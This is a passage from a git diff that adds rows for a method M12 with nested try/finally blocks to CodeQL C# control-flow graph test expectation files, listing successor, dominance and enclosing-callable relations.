Finally.cs:258:13:258:46 | [finally: exception(ExceptionA)] call to method WriteLine | Finally.cs:258:31:258:45 | [finally: exception(ExceptionA)] "Outer finally" | +| Finally.cs:258:13:258:46 | [finally: exception(OutOfMemoryException)] call to method WriteLine | Finally.cs:258:31:258:45 | [finally: exception(OutOfMemoryException)] "Outer finally" | +| Finally.cs:258:13:258:46 | call to method WriteLine | Finally.cs:258:31:258:45 | "Outer finally" | +| Finally.cs:258:13:258:47 | ...; | Finally.cs:257:9:259:9 | {...} | +| Finally.cs:258:13:258:47 | [finally: exception(Exception)] ...; | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | +| Finally.cs:258:13:258:47 | [finally: exception(ExceptionA)] ...; | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | +| Finally.cs:258:13:258:47 | [finally: exception(OutOfMemoryException)] ...; | Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | +| Finally.cs:258:31:258:45 | "Outer finally" | Finally.cs:258:13:258:47 | ...; | +| Finally.cs:258:31:258:45 | [finally: exception(Exception)] "Outer finally" | Finally.cs:258:13:258:47 | [finally: exception(Exception)] ...; | +| Finally.cs:258:31:258:45 | [finally: exception(ExceptionA)] "Outer finally" | Finally.cs:258:13:258:47 | [finally: exception(ExceptionA)] ...; | +| Finally.cs:258:31:258:45 | [finally: exception(OutOfMemoryException)] "Outer finally" | Finally.cs:258:13:258:47 | [finally: exception(OutOfMemoryException)] ...; | +| Finally.cs:260:9:260:33 | call to method WriteLine | Finally.cs:260:27:260:32 | "Done" | +| Finally.cs:260:9:260:34 | ...; | Finally.cs:258:13:258:46 | call to method WriteLine | +| Finally.cs:260:27:260:32 | "Done" | Finally.cs:260:9:260:34 | ...; | | Foreach.cs:6:10:6:11 | exit M1 | Foreach.cs:6:10:6:11 | exit M1 (normal) | | Foreach.cs:6:10:6:11 | exit M1 (normal) | Foreach.cs:8:9:9:13 | foreach (... ... in ...) ... | | Foreach.cs:7:5:10:5 | {...} | Foreach.cs:6:10:6:11 | enter M1 | @@ -10773,6 +10932,88 @@ blockDominance | Finally.cs:220:13:220:36 | call to method WriteLine | Finally.cs:220:13:220:36 | call to method WriteLine | | Finally.cs:222:9:225:9 | catch {...} | Finally.cs:222:9:225:9 | catch {...} | | Finally.cs:227:9:229:9 | {...} | Finally.cs:227:9:229:9 | {...} | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:233:10:233:12 | enter M12 | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:233:10:233:12 | exit M12 | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:233:10:233:12 | exit M12 (abnormal) | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:240:21:240:43 | throw ...; | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:240:27:240:42 | object creation of type ExceptionA | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:243:13:253:13 | {...} | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:247:25:247:47 | throw ...; | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:247:31:247:46 | object creation of type ExceptionA | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | {...} | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:254:13:254:44 | call to method WriteLine | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:257:9:259:9 | {...} | +| Finally.cs:233:10:233:12 | exit M12 | Finally.cs:233:10:233:12 | exit M12 | +| Finally.cs:233:10:233:12 | exit M12 (abnormal) | Finally.cs:233:10:233:12 | exit M12 (abnormal) | +| Finally.cs:240:21:240:43 | throw ...; | Finally.cs:240:21:240:43 | throw ...; | +| Finally.cs:240:21:240:43 | throw ...; | Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | +| Finally.cs:240:21:240:43 | throw ...; | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | +| Finally.cs:240:21:240:43 | throw ...; | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | +| Finally.cs:240:21:240:43 | throw ...; | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | +| Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:240:21:240:43 | throw ...; | +| Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:240:27:240:42 | object creation of type ExceptionA | +| Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | +| Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | +| Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | +| Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | +| Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | +| Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | +| Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | +| Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | +| Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | +| Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | +| Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | +| Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | +| Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | +| Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:243:13:253:13 | {...} | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:247:25:247:47 | throw ...; | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:247:31:247:46 | object creation of type ExceptionA | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:250:17:252:17 | {...} | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:254:13:254:44 | call to method WriteLine | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:257:9:259:9 | {...} | +| Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | +| Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | +| Finally.cs:247:25:247:47 | throw ...; | Finally.cs:247:25:247:47 | throw ...; | +| Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | +| Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | +| Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | +| Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | +| Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | +| Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | +| Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:247:25:247:47 | throw ...; | +| Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:247:31:247:46 | object creation of type ExceptionA | +| Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | +| Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | +| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | +| Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | +| Finally.cs:250:17:252:17 | {...} | Finally.cs:250:17:252:17 | {...} | +| Finally.cs:250:17:252:17 | {...} | Finally.cs:254:13:254:44 | call to method WriteLine | +| Finally.cs:250:17:252:17 | {...} | Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | +| Finally.cs:250:17:252:17 | {...} | Finally.cs:257:9:259:9 | {...} | +| Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:254:13:254:44 | call to method WriteLine | +| Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:257:9:259:9 | {...} | +| Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | +| Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | +| Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | +| Finally.cs:257:9:259:9 | {...} | Finally.cs:257:9:259:9 | {...} | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:6:10:6:11 | enter M1 | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:6:10:6:11 | exit M1 (normal) | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:8:9:9:13 | foreach (... ... in ...) ... | @@ -14143,6 +14384,40 @@ postBlockDominance | Finally.cs:227:9:229:9 | {...} | Finally.cs:220:13:220:36 | call to method WriteLine | | Finally.cs:227:9:229:9 | {...} | Finally.cs:222:9:225:9 | catch {...} | | Finally.cs:227:9:229:9 | {...} | Finally.cs:227:9:229:9 | {...} | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:233:10:233:12 | enter M12 | +| Finally.cs:233:10:233:12 | exit M12 | Finally.cs:233:10:233:12 | exit M12 | +| Finally.cs:233:10:233:12 | exit M12 (abnormal) | Finally.cs:233:10:233:12 | exit M12 (abnormal) | +| Finally.cs:240:21:240:43 | throw ...; | Finally.cs:240:21:240:43 | throw ...; | +| Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:240:27:240:42 | object creation of type ExceptionA | +| Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:233:10:233:12 | enter M12 | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:243:13:253:13 | {...} | +| Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | +| Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | +| Finally.cs:247:25:247:47 | throw ...; | Finally.cs:247:25:247:47 | throw ...; | +| Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | +| Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | +| Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:247:31:247:46 | object creation of type ExceptionA | +| Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | +| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | +| Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | +| Finally.cs:250:17:252:17 | {...} | Finally.cs:233:10:233:12 | enter M12 | +| Finally.cs:250:17:252:17 | {...} | Finally.cs:243:13:253:13 | {...} | +| Finally.cs:250:17:252:17 | {...} | Finally.cs:250:17:252:17 | {...} | +| Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:233:10:233:12 | enter M12 | +| Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:243:13:253:13 | {...} | +| Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:250:17:252:17 | {...} | +| Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:254:13:254:44 | call to method WriteLine | +| Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | +| Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | +| Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | +| Finally.cs:257:9:259:9 | {...} | Finally.cs:233:10:233:12 | enter M12 | +| Finally.cs:257:9:259:9 | {...} | Finally.cs:243:13:253:13 | {...} | +| Finally.cs:257:9:259:9 | {...} | Finally.cs:250:17:252:17 | {...} | +| Finally.cs:257:9:259:9 | {...} | Finally.cs:254:13:254:44 | call to method WriteLine | +| Finally.cs:257:9:259:9 | {...} | Finally.cs:257:9:259:9 | {...} | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:6:10:6:11 | enter M1 | | Foreach.cs:6:10:6:11 | exit M1 (normal) | Foreach.cs:6:10:6:11 | enter M1 | | Foreach.cs:6:10:6:11 | exit M1 (normal) | Foreach.cs:6:10:6:11 | exit M1 (normal) | diff --git a/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected b/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected index ffc531ca8bc..1abb3cc8a4c 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected @@ -2507,6 +2507,98 @@ nodeEnclosing | Finally.cs:230:9:230:33 | call to method WriteLine | Finally.cs:216:10:216:12 | M11 | | Finally.cs:230:9:230:34 | ...; | Finally.cs:216:10:216:12 | M11 | | Finally.cs:230:27:230:32 | "Done" | Finally.cs:216:10:216:12 | M11 | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:233:10:233:12 | exit M12 | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:233:10:233:12 | exit M12 (abnormal) | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:233:10:233:12 | exit M12 (normal) | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:234:5:261:5 | {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:235:9:259:9 | try {...} ... | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:236:9:255:9 | {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:237:13:253:13 | try {...} ... | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:238:13:241:13 | {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:239:17:240:43 | if (...) ... | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:239:21:239:22 | access to parameter b1 | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:240:21:240:43 | throw ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:243:13:253:13 | [finally: exception(ExceptionA)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:244:17:252:17 | [finally: exception(Exception)] try {...} ... | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:244:17:252:17 | [finally: exception(ExceptionA)] try {...} ... | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:244:17:252:17 | try {...} ... | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:245:17:248:17 | [finally: exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:245:17:248:17 | [finally: exception(ExceptionA)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:245:17:248:17 | {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:246:21:247:47 | [finally: exception(Exception)] if (...) ... | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:246:21:247:47 | [finally: exception(ExceptionA)] if (...) ... | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:246:21:247:47 | if (...) ... | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:246:25:246:26 | [finally: exception(Exception)] access to parameter b2 | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:246:25:246:26 | [finally: exception(ExceptionA)] access to parameter b2 | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:246:25:246:26 | access to parameter b2 | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:247:25:247:47 | throw ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:250:17:252:17 | [finally(2): exception(ExceptionA)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(ExceptionA)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:250:17:252:17 | {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:54 | [finally(2): exception(Exception)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:54 | [finally(2): exception(ExceptionA)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(Exception)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(ExceptionA)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:54 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(Exception)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:54 | call to method WriteLine | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:55 | ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:55 | [finally(2): exception(Exception)] ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:55 | [finally(2): exception(ExceptionA)] ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(Exception)] ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(ExceptionA)] ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:55 | [finally: exception(Exception)] ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(Exception)] ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA)] ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:39:251:53 | "Inner finally" | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:39:251:53 | [finally(2): exception(Exception)] "Inner finally" | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:39:251:53 | [finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(Exception)] "Inner finally" | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:39:251:53 | [finally: exception(Exception)] "Inner finally" | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(Exception)] "Inner finally" | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA)] "Inner finally" | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:254:13:254:45 | ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:254:31:254:43 | "Mid finally" | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:257:9:259:9 | {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:258:13:258:46 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:258:13:258:46 | [finally: exception(ExceptionA)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:258:13:258:46 | [finally: exception(OutOfMemoryException)] call to method WriteLine | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:258:13:258:46 | call to method WriteLine | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:258:13:258:47 | ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:258:13:258:47 | [finally: exception(Exception)] ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:258:13:258:47 | [finally: exception(ExceptionA)] ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:258:13:258:47 | [finally: exception(OutOfMemoryException)] ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:258:31:258:45 | "Outer finally" | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:258:31:258:45 | [finally: exception(Exception)] "Outer finally" | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:258:31:258:45 | [finally: exception(ExceptionA)] "Outer finally" | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:258:31:258:45 | [finally: exception(OutOfMemoryException)] "Outer finally" | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:260:9:260:33 | call to method WriteLine | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:260:9:260:34 | ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:260:27:260:32 | "Done" | Finally.cs:233:10:233:12 | M12 | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:6:10:6:11 | M1 | | Foreach.cs:6:10:6:11 | exit M1 | Foreach.cs:6:10:6:11 | M1 | | Foreach.cs:6:10:6:11 | exit M1 (normal) | Foreach.cs:6:10:6:11 | M1 | @@ -5264,6 +5356,30 @@ blockEnclosing | Finally.cs:220:13:220:36 | call to method WriteLine | Finally.cs:216:10:216:12 | M11 | | Finally.cs:222:9:225:9 | catch {...} | Finally.cs:216:10:216:12 | M11 | | Finally.cs:227:9:229:9 | {...} | Finally.cs:216:10:216:12 | M11 | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:233:10:233:12 | exit M12 | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:233:10:233:12 | exit M12 (abnormal) | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:240:21:240:43 | throw ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:247:25:247:47 | throw ...; | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | 